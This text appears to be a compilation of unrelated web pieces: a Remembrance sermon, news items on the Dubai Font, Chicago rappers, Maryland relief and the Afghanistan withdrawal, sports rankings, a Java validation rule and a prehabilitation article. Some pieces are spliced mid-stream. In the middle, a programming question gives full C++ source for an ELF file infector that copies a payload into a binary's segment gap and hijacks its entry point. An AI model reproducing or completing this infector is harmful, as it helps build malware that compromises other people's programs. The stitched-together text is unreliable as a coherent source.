After all, Jesus said, 'Love your enemies, and pray for those who persecute you,' (Matt. 5:44). But we – and mankind generally – never have. Indeed, we love to rake up, in a rather triumphal way, the history of the First and Second World Wars. We thank our ancestors for being brave and standing up against the enemy – Germany in both cases – and keeping us independent.
The enemy' wasn't just Germany, in fact: it also included Turkey, Japan, Austria, and Italy as well, at various times. Most of those countries have been friends and allies for far longer than they were enemies in one or other of the World Wars. The same countries, at different times, have been both allies and enemies.
It's difficult to generalise about countries, whether they are always going to be friends or foes. But what we can say about most wars is, that in most cases, it wasn't personal. Even in the terrible trench warfare of WW1, people weren't fighting people whom they knew, and whom they'd fallen out with.
That should perhaps be something we could think about, when we're tempted to think of the Germans as baddies, or someone makes a joke about them not having a sense of humour or wanting to extend their territory round a swimming pool on holiday. People were not fighting people they hated personally, but fighting for ideas, or for their country's sovereignty. Our soldiers fought because our leaders thought that otherwise, we would be overrun by Germany – sovereignty; and, in WW2, to avoid being turned into Nazis, a question of ideas. Remember the Christmas Day truce in 1914, when the soldiers got out of their trenches and played football, exchanged cigarettes and gifts. They had nothing personal against each other.
Again, I think that, as we reflect on the sad fact that no amount of 'Remembrance' has stopped wars from breaking out, we might try to identify some of the ideas which seem to have led to war. Sovereignty, for instance: not wanting someone else, foreigners, to dictate our laws. But think about this. A pooling, a watering down, of sovereignty, to some extent, in the European Union, has brought about the longest ever unbroken period of peace in Europe. And every treaty between countries, for any purpose, involves the parties giving up a little of their individual autonomy in order to agree together.
And allied to that, perhaps we should reflect on what it is that makes us British, or French, or Chinese, or whatever nationality we are. In the majority of cases, it is an accident of birth. There is no special distinction, it confers no special entitlement by itself, just to be born. You certainly might say that the miracle of life itself, of being brought to birth, is itself hugely valuable. But whether you're born in poverty in a Calcutta slum or in a mansion on St George's Hill, that fact of itself doesn't entitle you to do better or worse than another human being.
We are all children of God, equally. So aggressively putting up barriers to keep people out of 'our' country – and I've put the word 'our' in inverted commas, because although people use that expression, 'our' country, I'm not sure what it really should mean – aggressively keeping others out may not be a good, or a right, thing to do. But millions of people have died, effectively to uphold that principle.
We sense that there must be some reasonable limit, some reasonable extent of nationalism. In WW2, we would not have wanted our government to be in Berlin, or to have had to speak German instead of being able to speak English, (loudly if necessary, if people don't understand us), to everyone we meet, wherever we happen to be. So where is the right balance?
The bravery and sacrifices made in the World Wars kept us free, and we are thankful. But if today the same instincts for independence result in our driving out from our midst people who have come to live and work here, and who provide such valuable contributions to our health service, to our farmers, in our hotels and restaurants and so on, if those people feel we no longer welcome them and accept them, this is not the 'love' that Jesus was talking about. It was αγάπη [agape], brotherly love, charity and kindness that he meant.
'Greater love hath no man .. Jesus' next sentence in St John's Gospel, after the great command that we should love one another, is 'Greater love hath no man than this, that a man lay down his life for his friends.' As Canon Giles Fraser pointed out on the radio on Friday, some war memorials don't say 'lay down his life for his friends', but 'for his country' instead. But really, the context in the Bible is, of course, that Jesus is looking forward to his own death, to the crucifixion. 'As I have loved you, so you must love each other.'
That is a sacrificial kind of love. Making sacrifices, even the ultimate sacrifice, for someone you love. There are all those stories of heroism and sacrifice in war.
Jack Cornwell, the under-age naval hero who stayed at his post during the Battle of Jutland, severely wounded himself, even though everyone around him had been killed or wounded, quietly waiting for orders.
My own relative, Dr John Fisher, who won the MC at Arnhem as a medic, by going into a minefield to treat wounded soldiers, laying a tape behind him so that the stretcher bearers could safely get through the minefield to the casualties and bring them to safety. Every step could have been his last, if he had trodden on a mine. But he was willing to risk death, in order to save others. He survived, fortunately.
Or other heroes, who weren't soldiers. 'Maximilian Kolbe was a Polish priest who died as prisoner 16770 in Auschwitz, on August 14, 1941. When a prisoner escaped from the camp, the Nazis selected 10 others to be killed by starvation in reprisal for the escape. One of the 10 selected to die, Franciszek Gajowniczek, began to cry: My wife! My children! I will never see them again! At this Maximilian Kolbe stepped forward and asked to die in his place. His request was granted'. [ http://auschwitz.dk/kolbe.htm]
We should try always to remember them, and to be grateful for their sacrifice. And as well, we should realise that Jesus wasn't just talking about supreme, life and death, sacrifices. Love means giving things up for your friends, small sacrifices as well as big ones.
And what about Gideon, and his battle against the Midianites? Why did he go through this bizarre process of whittling his army down to 300 champions only, instead of the thousands he had at his disposal? God didn't want the Israelites to be so powerful that they could boast that their own strength had brought them victory. To show the power of God, they had to be seen to win against impossible odds.
But the puzzling thing is the thought that, as so often in war, it is said that both sides are praying to God, to the same God, that their side will prevail. Will God support one side against the other? And if so, why? It is a version of the theological conundrum called 'theodicy' (θεοδικη), the question why a good God would allow bad things to happen. The answer in this story from the Old Testament is that God favours his chosen people, the people who worship him rather than any other, false gods.
There is also the story of the Roman emperor Constantine at the battle of the Milvian Bridge in the fourth century, who had a dream about Jesus Christ and decided to paint his soldiers' shields with a symbol of the cross. They won the battle, and Constantine, in gratitude, adopted Christianity as the official religion of the Roman Empire – which was a major factor in making Christianity spread throughout the world.
But – but there's something uneasy about this rather crude, almost superstitious approach to God. Having God as a kind of nuclear weapon, the ultimate 'game changer', seems wrong. Granted that we believe that God cares for us, knows all of our names, and so on: but why would He almost justify a war, by determining its outcome? Or to put it another way, why would the good God become involved in the evil that is warfare? The hymn says, 'Who is on the Lord's side?' Not, 'Whose side is the Lord on?'
Enough for one Sunday evening, I think. Lest we forget. Let us love one another, as Jesus has loved us.
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Dubai has become the first city in the world to get its own Microsoft font, the media reported. Sheikh Hamdan bin Mohammed bin Rashid Al Maktoum, Dubai's Crown Prince and Chairman of the Executive Council, launched the Dubai Font on Sunday, the Khaleej Times reported.
Dubai has become the first city in the world to get its own Microsoft font, the media reported. Sheikh Hamdan bin Mohammed bin Rashid Al Maktoum, Dubai's Crown Prince and Chairman of the Executive Council, launched the Dubai Font on Sunday, the Khaleej Times reported. He directed government institutions all across the city to adopt the font, saying it is considered a positive shift that will boost the emirate's competitiveness in smart technology. "This should be a commitment from the Dubai government to guarantee the dissemination and success of this initiative on a local and global level," Sheikh Hamdan said, noting that the font is the new tool for a more tolerant and happy world.
The font, now available to more than 100 million users of Microsoft Office 365 around the world, is the first font to be created by a city and named after it. Designed for more than 180 countries and 23 languages integrating Arabic and Latin typefaces, the Dubai Font, which will expand over the next phase to include more languages, is aimed to reflect the city's symbols of tolerance, happiness and respect, enabling people to express, communicate and connect, reports the Khaleej Times.
The Executive Council of Dubai also enabled individuals to download the font from the website: www.dubaifont.com and integrate it into the system for free. Sheikh Hamdan had directed the General Secretariat of the Executive Council in January 2016 to work on the design of a package of electronic fonts bearing the name of Dubai to include a distinctive font for the Emirate in both Arabic and English, later expanding to 21 other languages.
Nadine Chahine, Type Director and Legibility Expert at Monotype UK, led the design team of six who worked on developing the font. The font, available in three styles as 'Dubai', 'Dubai Medium' and 'Dubai Light', can be in italics, underlined and bold. EU must reform or face Frexit, says Macron
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Two Chicago rappers talk violence, socially-conscious hip-hop
Chicago rappers Saba (center) and Mick Jenkins (right) discuss their brand of socially-conscious hip-hop with African American Studies Prof. Nitasha Sharma.
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Shane McKeon, Assistant Campus Editor
Two Chicago rappers answered questions about their brand of socially conscious hip-hop and broader issues of race and violence during a Q&A on Tuesday.
Mick Jenkins and Saba answered questions from students at an event in Fisk Hall sponsored by Northwestern Community Development Corps, For Members Only and the Contemporary Thought Speaker Series moderated by African American Studies Prof. Nitasha Sharma. More than 150 students attended.
The rappers discussed the term "Chiraq" and the extent to which rappers fetishize violence in the city.
Jenkins said during high school he'd sometimes hear about friends of friends being killed, mostly in gang-related incidents.
"I don't think it's a misrepresentation," he said. "I've been jumped, held at gunpoint, at knifepoint. I jumped other people. … I grew up in that, but I became a totally different person."
This past weekend, Sharma noted, 56 people were shot in the city.
Saba said that hip-hop, like most art, reflects its creators and their life experiences.
"It's really easy to be anti-Chiraq, and opposed to the whole phrase," he said. "But at the same time, I understand why it exists. Because it's a reality."
Jenkins' 2014 mixtape "The Waters" has been downloaded more than 85,000 times. Saba was featured on fellow Chicago rapper Chance the Rapper's 2013 album "Acid Rap."
The rappers reflected on how they're responding to incidents of police brutality that have reignited discussions of race relations nationwide.
Despite the media's newfound interest in the topic, Jenkins said these sort of events have been going on for a long time.
"We're seeing a surge of it out in the open because of technology, but there's even more of it going on behind the scenes," he said. "It's stuff that's been happening all my life."
Both Jenkins and Saba said they often have an easier time writing more socially-conscious verses because the content matter is so familiar to them.
Much of the discussion focused on money in the music industry, specifically how the rappers balance staying true to socially-conscious hip-hop and maintaining mainstream appeal.
Jenkins noted that although artists like Trinidad James, of "All Gold Everything" fame, can break through with one smash hit, for more politically-driven rappers, like himself, it takes longer.
"Why is it that J. Cole and Kendrick Lamar and Big K.R.I.T. and myself and Saba, why do we need to have three or four or five mixtapes before n—–s take notice?" he said.
Sharma asked if white people who attend the rappers' shows should say the N-word when singing along.
Both said no.
"I think it is forever disrespectful," Jenkins said. "(But) you say that at the beginning of the show, it creates a very different atmosphere."
Weinberg sophomore Ben Levey, an NCDC member who helped organize the event, told The Daily voices like Jenkin's and Saba's aren't often heard on campus.
"Events like this and conversations like this are valuable in that they're unique," he told The Daily. "Rarely do you have the chance to listen to and hear the people behind the songs students listen to everyday."
He said he hopes the event will prompt students will think more critically about Chicago and its hip-hop scene.
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Hogan Proposes $1 Billion Relief Package, Pressures Legislature for Swift Passage
January 11, 2021 by Maryland Matters Leave a Comment
Gov. Lawrence J. Hogan Jr. (R) unveiled a proposed billion-dollar stimulus package at a Monday morning press conference, which would give low-income families $750 checks if passed by the legislature.
If enacted, Hogan's Recovery for the Economy, Livelihoods, Industries, Entrepreneurs and Families (RELIEF) Act would offer stimulus checks to Marylanders who qualified for the Earned Income Tax Credit in 2019 or 2020. The payouts would amount to $450 for individuals and $750 for families, with no application needed.
Hogan estimated that the $267 million in direct payments would help roughly 400,000 Marylanders. The stimulus checks would be in addition to anticipated payouts from the federal government.
Hogan said he needs the legislature's help in passing some of the RELIEF Act's measures, which extend beyond his emergency powers – and demanded that lawmakers quickly pass the emergency legislation.
"We took every action that we could take alone," Hogan said.
The stimulus package provides $180 million in tax relief for unemployed residents by repealing all state and local income taxes on unemployment benefits. It would also allow small businesses to keep up to $12,000 in sales tax over the next four months, amounting to $300 million statewide.
Hogan also wants the legislature to extend and codify his executive order protecting businesses from sudden increases in unemployment taxes due to layoffs, amounting to $218 million in savings. The act would also eliminate taxes on the state's emergency relief grants and loans for businesses.
Only about $100 million of Maryland's rainy day funds would be be used as part of the relief package – a far cry from what other state officials and local leaders have demanded of Hogan.
Members of the Maryland United for COVID Relief NOW Coalition, headed by Comptroller Peter V.R. Franchot (D) and Montgomery County Councilmember Tom Hucker (D), held a virtual rally on Sunday to demand Hogan use more of the rainy day fund for COVID-19 relief.
Franchot has floated using a much larger portion of state reserve money for $2,000 stimulus checks to qualifying Marylanders at a cost of $925 million. He also wants to use state money for more local business aid, and in total proposed using more than a billion in state reserves for residents and businesses.
In a Monday statement on social media, Franchot said Hogan's proposed stimulus doesn't go far enough to help working residents. He also said the proposed checks won't get to families fast enough.
"Maryland families need help now, but instead the Governor is passing the buck to the legislature," Franchot wrote. "The Governor knows that he has the power to authorize direct cash payments to those in crisis right now. He can help struggling families right NOW."
Hogan's plans for a new state stimulus bill predate the coalition's formation. He said using the state's entire rainy-day fund would be an "irresponsible action," and said he was following along with the legislature's recommendations in using only portions of the state's reserve money.
In December, a bipartisan legislative budget panel recommended using some of the state's rainy day fund to combat anticipated shortfalls in the state's budget.
Hogan noted that more federal relief funding is on its way to the state, including $400 million for much-needed rental assistance. The state has already spent more than $700 million in relief for residents and businesses, and doled out billions in unemployment benefits to Marylanders, Hogan said.
Whether the legislature moves quickly to act on Hogan's proposal — or sees it as an opening gambit — is an open question. Legislative leaders have echoed Hogan's assertion that providing help to the neediest Marylanders should be the top priority of the session, which begins on Wednesday, but they have yet to release details of their own economic relief package.
In a statement released after Hogan's news conference, Senate President Bill Ferguson (D-Baltimore City) and House Speaker Adrienne A. Jones (D-Baltimore County) said Democrats in the legislature are "focused on getting families and small businesses back on their feet" in addition to getting students back in schools and ensuring the safety of seniors. The presiding officers said General Assembly members are planning legislation to address "a broken Unemployment Insurance system" and aid small businesses.
"We look forward to the Governor working with us to accomplish these goals and demonstrating for the country what the true value of bipartisanship can be," Jones and Ferguson said.
Sen. Guy J. Guzzone (D-Howard County), the chair of the Senate Budget and Taxation Committee, called Hogan's proposed stimulus a "good place for us to start" when it comes to getting relief to Marylanders.
Guzzone said he doesn't think draining the state's rainy day fund is in the best interest of the state, and added that Marylanders could still get meaningful relief without using all of the reserves.
"I actually don't think it's necessary, to provide substantial relief, to drain it all the way down in that regard," Guzzone said.
He noted that many of the legislature's relief efforts will depend on Hogan's budget proposal, which is due later this month.
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Tougouri est une localité – qui ne doit pas être confondue avec Tougouri, le chef-lieu du département homonyme – située dans le département de Kaya de la province du Sanmatenga dans la région Centre-Nord au Burkina Faso.

Géographie

Tougouri est situé à  au sud-est de Delga, à environ  au nord-ouest du centre de Kaya, la principale ville de la région. Le village est à environ  au sud-est de la route nationale 15 reliant à Kaya à Kongoussi.

Histoire

Économie

Éducation et santé

Le centre de soins le plus proche de Tougouri est le centre de santé et de promotion sociale (CSPS) de Delga tandis que le centre hospitalier régional (CHR) se trouve à Kaya.

Tougouri possède une école primaire publique.

Annexes

Notes et références

Liens externes

Articles connexes

Ville dans le département de Kaya

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Q: segmentation core dump c++ #include <iostream>
#include <fcntl.h>
#include <sys/stat.h>
#include <elf.h>
#include <sys/mman.h>
#include <cstring>
#include <unistd.h>
#include <stdio.h>

int f_open(char *filename, void** data, int& len);
Elf64_Phdr *find_gap(void *d, int& p, int& len);
Elf64_Shdr *find_section(void *data, char *string);
int get_file_size(const int& fd);

int f_open(char* filename, void** data, int& len){
    int fd;
    fd = open(filename,O_APPEND|O_RDWR,0);
    if(fd <0)
        exit(3);
    std::cout<<fd;
    len = get_file_size(fd);
    std::cout<<len;
    if((*data = mmap(0, len, PROT_READ| PROT_WRITE| PROT_EXEC, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        //printf(filename);
        exit(4);
    }
    return fd;
}

int get_file_size(const int& fd) {
    struct stat _info;

    fstat (fd, &_info);

    return _info.st_size;
}

Elf64_Phdr* find_gap(void *d,const int& size, int& p, int& len){
    Elf64_Ehdr *elf_hdr = (Elf64_Ehdr *) d;
    Elf64_Phdr *elf_seg, *text_seg;
    int n_seg = elf_hdr->e_phnum;
    int text_end, gap=size;

    elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);

    for (int i = 0; i < n_seg; i++)
    {
        if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011)
        {
            text_seg = elf_seg;
            text_end = elf_seg->p_offset + elf_seg->p_filesz;
        }
        else
        {
            if (elf_seg->p_type == PT_LOAD &&
                (elf_seg->p_offset - text_end) < gap)
            {
                gap = elf_seg->p_offset - text_end;
            }
        }
        elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg
                                  + (unsigned int) elf_hdr->e_phentsize);
    }

    p = text_end;
    len = gap;

    return text_seg;
}
Elf64_Shdr *find_section(void *data, char *name){
    char        *sname;
    int         i;
    Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
    const char *sh_strtab_p = (char*)data + shdr[elf_hdr->e_shstrndx].sh_offset;

    for (i = 0; i < elf_hdr->e_shnum; i++)
    {
        sname = (char*) (sh_strtab_p + shdr[i].sh_name);
        if (!strcmp (sname, name))  return &shdr[i];
    }

    return NULL;
}
int mem_subst (void *m, int len, long pat, long val)
{
    unsigned char *p = (unsigned char*)m;
    long v;
    int r;

    for (int i = 0; i < len; i++)
    {
        v = *((long*)(p+i));
        r = v ^ pat; // Now I know how to XOR in C

        if (r ==0)
        {
            printf ("+ Pattern %lx found at offset %d -> %lx\n", pat, i, val);
            *((long*)(p+i)) = val;
            return 0;
        }
    }
    return -1;
}

int main(int argc, char** argv) {
    void *d,*d1;
    int target_fd, payload_fd;
    int fsize, fsize1;
    int p, len;

    if(argc!=3)
        exit(1);

    target_fd = f_open(argv[1],&d,fsize);

    Elf64_Ehdr *elf_hdr = (Elf64_Ehdr *) d;
    Elf64_Addr ep = elf_hdr->e_entry;

    Elf64_Phdr  *t_text_seg = find_gap(d, fsize, p, len);
    Elf64_Addr  *base = (Elf64_Addr *)(t_text_seg->p_vaddr);

    payload_fd = f_open(argv[2],&d1,fsize1);

    Elf64_Shdr *p_text_sec = find_section (d1, ".text");

    if (p_text_sec->sh_size > len)
    {
        fprintf (stderr, "- Payload to big, cannot infect file.\n");
        exit (2);
    }

    memmove (d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size);

    mem_subst (d+p, p_text_sec->sh_size, 0x11111112, (long)ep);

    elf_hdr->e_entry = (Elf64_Addr) (base + p);

    close (payload_fd);
    close (target_fd);

    return 0;
}

Trying to make elf-infector but getting problem, file that should be infected becomes infected but I get segmentation coredump.
I think that problem is when I`m changing file that only readble but I dont know how o fix this.
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I've tried all sorts of variations to solve this problem and I am really at a loss. If anyone has any solution to this problem, it would be very appreciated.
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Hofstra's Ryan Tierney is the US Lacrosse Player of the Week
Mon Feb 17 2020 | Kenny DeJohn | College
PHOTO COURTESY OF HOFSTRA ATHLETICS
Ryan Tierney recorded four goals and four assists, lifting Hofstra to a 12-9 win over visiting Michigan Saturday afternoon. For his efforts, he is the US Lacrosse Player of the Week.
He scored all four of his goals in the first half and tallied each of his four assists in the second half, tying a career high with eight points. Hofstra (2-0) trailed 6-3 in the second quarter, but he sparked a 9-1 Pride run that completely changed the game.
He's not only one of the best in the nation ( @Tewaaraton), he's one of the best in #Hofstra history
Check out where Ryan Tierney ranks among the all-time greats on the Turnpike as he climbs the charts‼#RoarWithPride pic.twitter.com/Q8fDhnAhtP
— Hofstra Men's Lacrosse (@HofstraMLAX) February 16, 2020
Through two games, Tierney has seven goals and five assists.
Previous Players of the Week
Brandon Dodd, Air Force
Chase Scanlan, Syracuse


#2 UBC (previously #14)- The addition of Furious George handler and Victoria undergrad John Norris, along with a solid core of elite level Canadian handlers returning from last year is a good combination. UBC had a great SB Invite and President's day, winning both tourneys and in the process beating 9 teams which received votes this round of rankings. Where did these guys come from? Beautiful British Columbia.
#3 Colorado (previously #2T)- After trampling some of the top teams at Warm Up, Mamabird has proven they're the team to beat. Sure, they went down in two close games against CUT, but Mamabird is capable of playing big this year as long as they don't fold under the pressure and expectations.
#15 Washington (previously unranked)- Five losses by a total of 6 points, including a 1 point loss against #2 UBC at the SB Invite. Last year they so very nearly made nationals, this year they look even stronger. Sockeye talent in Phil Murray and the addition of Rhino stud and Grad student Bryson "Tatanka" Uhrig-fox.
#18 California (previously #7)- The 5th place finishers at last year's College Championships are looking much more touchable than last year. 10-4 at the moment, but they could very well be 7-7 as three of those wins were by one point only. That being said, they have beaten some good teams, and only lost to teams which received votes in this ranking cycle.
#20 Whitman (previously unranked)- The Jeremy Norden play style has paid off this year. In a recent one day tourney vs. some NW conference competition, Whitman was untouchable. Their play is physical, smart and more than able to exploit any weaknesses it finds in an opponent. This weekend at Stanford Open, Whitman gets a crack at some higher level competition which will be a true test of their dominant display earlier in the month.


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package org.kuali.kra.award.rule;

import org.apache.commons.lang.StringUtils;
import org.kuali.kra.award.home.AwardBasisOfPayment;
import org.kuali.kra.award.home.AwardType;
import org.kuali.kra.award.home.ValidAwardBasisPayment;
import org.kuali.kra.infrastructure.KeyConstants;
import org.kuali.kra.infrastructure.KraServiceLocator;
import org.kuali.kra.rules.KraMaintenanceDocumentRuleBase;
import org.kuali.rice.kns.document.MaintenanceDocument;
import org.kuali.rice.krad.service.BusinessObjectService;
import org.kuali.rice.krad.util.GlobalVariables;
import org.kuali.rice.krad.util.KRADConstants;
import org.kuali.rice.krad.util.MessageMap;

import java.util.HashMap;
import java.util.Map;

/**
 *
 * This class is check the uniqueness of award type code and basis of payment code.
 */
public class ValidAwardBasisPaymentMaintenanceDocumentRule extends KraMaintenanceDocumentRuleBase {

    /**
     *
     * @see org.kuali.rice.kns.maintenance.rules.MaintenanceDocumentRuleBase#processCustomRouteDocumentBusinessRules(org.kuali.rice.kns.document.MaintenanceDocument)
     */
    public boolean processCustomRouteDocumentBusinessRules(MaintenanceDocument document) {
        final ValidAwardBasisPayment validAwardBasisPayment = (ValidAwardBasisPayment) document.getNewMaintainableObject().getDataObject();

        if (!document.getNewMaintainableObject().getMaintenanceAction().equals(KRADConstants.MAINTENANCE_DELETE_ACTION)) {
            return validateUniqueueCodes(validAwardBasisPayment.getAwardType(), validAwardBasisPayment.getBasisOfPayment());
        } else {
            return true;
        }
    }

    /*
     * ensure the uniqueness of award type/basis of payment
     */
    private boolean validateUniqueueCodes(final AwardType awardType, final AwardBasisOfPayment basisOfPayment) {

        boolean valid = true;
        if (awardType != null && basisOfPayment != null &&StringUtils.isNotBlank(awardType.getAwardTypeCode().toString()) && StringUtils.isNotBlank(basisOfPayment.getBasisOfPaymentCode())) {
            final Map<String, String> pkMap = new HashMap<String, String>();
            pkMap.put("awardTypeCode", awardType.getAwardTypeCode().toString());
            pkMap.put("basisOfPaymentCode", basisOfPayment.getBasisOfPaymentCode());
            final int matchingCount = KraServiceLocator.getService(BusinessObjectService.class).countMatching(ValidAwardBasisPayment.class, pkMap);

            if (matchingCount > 0 ) {
                final MessageMap errorMap = GlobalVariables.getMessageMap();
                errorMap.putError("document.newMaintainableObject.awardTypeCode", KeyConstants.ERROR_AWARD_BASIS_EXIST,
                        new String[] {awardType.getDescription(), basisOfPayment.getDescription() });
                valid = false;
            }
        }
        return valid;
    }

}

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The application of systematic physical exercise to improve postoperative outcomes was first mentioned in the 1940s by the British Army in an attempt to improving the poor condition of the soldiers due to war, malnutrition and poor living habits.
More than 12,000 men went through the program in 1946, and 85% of those had improved remarkably in physical and intellectual capacities. However, it was not until the 1980s that the concept of prehabilitation regained interest.
This point of view article discusses best practice and relevant outcomes.
Physical activity is identified as the major component of all prehabilitation programs. Nevertheless, a clear conceptual model for treatment components and exercise progression is lacking.
More recently, there is increasing support for broader prehabilitation programs, where the core components are physical activity as well as nutritional care and psychological strategies. Prehabilitation has also been identified as a window of opportunity to change health behavior.
Specific exercise, such as pelvic floor muscle training before prostatectomy (a) or respiratory muscle training (b) before abdominal or cardiothoracic surgery have been implemented, with significant outcomes on long term incontinence (a), and preventing pulmonary complications, reduced time to extubation, reduced mortality and length of hospital stay (b).
For orthopaedic interventions, evidence for prehabilitation is the strongest for ACL ruptures, with a focus on reducing deficits in knee extension and quadriceps strength. Evidence for prehabilitation before total hip of knee arthroplasty as well as spinal surgery is less convincing.
Anxiety and fear about the outcome of surgery are commonly reported in patients, and an increasing number of prehabilitation programs therefore combine physical activity with psychological strategies.
The methodological quality of prehabilitation studies is found to be low. Exciting results are difficult to obtain with a one-size-fits-all program, or with small sample sizes.
Additional training in behaviour change strategies would help facilitate this expanded role of physiotherapists.
Prehabilitation may not be a new arena ? but we need to take action to disentangle the effectiveness of programs now applied in the clinical context.
Not everything we deem relevant is significantly effective. How could we better apply the skills we have in order to improve better health for patients planned for surgery?
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The U.S. completed its withdrawal from Afghanistan late Monday afternoon, ending a 20-year occupation
By: Ariana Figueroa and John L. Micek - August 31, 2021 12:18 pm
WASHINGTON, DC – AUGUST 28: Demonstrators from the "Save Afghan Lives" protest chant as they march towards the U.S. Capitol shutting down Constitution Ave on August 28, 2021 in Washington, DC. The protest comes on the heels of a deadly bombing in Kabul this week as the U.S. and its allies rush to evacuate people from Afghanistan before the August 31st withdrawal deadline. (Photo by Liz Lynch/Getty Images)
WASHINGTON — Even as the last military planes left Kabul, members of Congress were still trying to facilitate the evacuations of more Americans and Afghans.
Democratic U.S. Reps. Jason Crow D-Colo., Andy Kim and Tom Malinowski, of New Jersey, were leading efforts to supply names and contacts of Afghans who helped the U.S. in the last 20 years to the State Department to quickly process evacuations.
"We must protect our people and our friends by continuing evacuations from Kabul airport until the job is done," Crow wrote on Twitter, adding that "the situation in Kabul is still life or death for American citizens and our Afghan partners."
The U.S. completed its withdrawal from Afghanistan late Monday afternoon, ending a 20-year occupation, according to U.S. Marine Corps general Kenneth Franklin McKenzie Jr.
Every service member is out of Afghanistan, but Republicans have criticized the administration for leaving hundreds of Americans in the country. U.S. Sen. Rick Scott, R-Fla., wrote on Twitter that "Biden's failure here is staggering," and stressed that "the U.S. has now stranded hundreds of Americans in Afghanistan after giving their names to known terrorists."
"We cannot rest until all Americans come home," he said.
Taking to Twitter, U.S. Rep. Susan Wild, D-7th District, wrote that "although it is clear to me that we could not continue to put American servicemembers in danger for an unwinnable war, I also believe that the evacuation process appears to have been egregiously mishandled."
The administration has stated that it has the capacity to evacuate the nearly 300 Americans still in Afghanistan, according to the Associated Press.
According to the Department of Defense, more than 123,000 people, including 5,400 Americans have been evacuated from Afghanistan amid the collapse of the government and violent takeover by the Taliban.
In the last several weeks, Kim's office has sent about 6,000 names over to the State Department to try and facilitate evacuations, a senior staffer with Kim said.
More than 18,000 Afghans who have worked as interpreters, drivers, security guards and fixers for the U.S. have been stuck in limbo, facing threats to their lives and those of their families, as they await answers on their visa applications.
Crow, a former Army Ranger who served two tours in Afghanistan, has also set up an evacuation resources page for those currently at risk in Afghanistan. He also urged President Joe Biden in a letter to "evacuate all who are eligible at the Kabul airport" and to coordinate those evacuations with non-governmental organizations.
"America has a moral obligation to ensure the safe, secure, and humane passage to a new home, and to welcome these friends and partners with open arms," according to the letter.
Other members of Congress from Pennsylvania also have weighed in.
"The men and women of our military, working with our diplomats and development professionals, have done something extraordinary over the past two weeks: executing one of the largest airlifts in history in dangerous conditions with a deadline looming," U.S. Rep. Chrissy Houlahan, D-6th District, a veteran, tweeted last week. On Monday, the suburban Philadelphia lawmaker followed that up with a single sentence: "The last U.S. troops have departed Afghanistan."
U.S. Rep. Guy Reschenthaler, R-14th District, similarly issued a single sentence: "President Biden has failed America."
A rocket attack at Kabul airport last week left more than 170 people dead, including 13 military personnel. The ISIS-K group claimed credit for the attack.
"It's been a heartbreaking week for our country — and it is difficult to search for words to convey this sorrow. We will not forget the sacrifice of these 11 Marines, one Navy soldier, and one Army soldier. My prayers are with their families, friends, and loved ones," U.S. Rep. Madeleine Dean, D-4th District, wrote on Twitter.
During evacuations for the past several weeks, thousands of Afghans have arrived in Maryland and at the Fort Lee military base in Virginia. Refugees also began arriving in Philadelphia last week. In a statement, Pennsylvania Gov. Tom Wolf said the commonwealth was ready to be a "welcoming home" for the evacuees.
"Pennsylvania was founded on the ideals of peace, tolerance, and safety for all people," Wolf said in a statement Friday. It is incumbent on us to model the ideals on which Pennsylvania was founded and be a welcoming home for any who seek safe refuge in the United States."
by Ariana Figueroa, Pennsylvania Capital-Star
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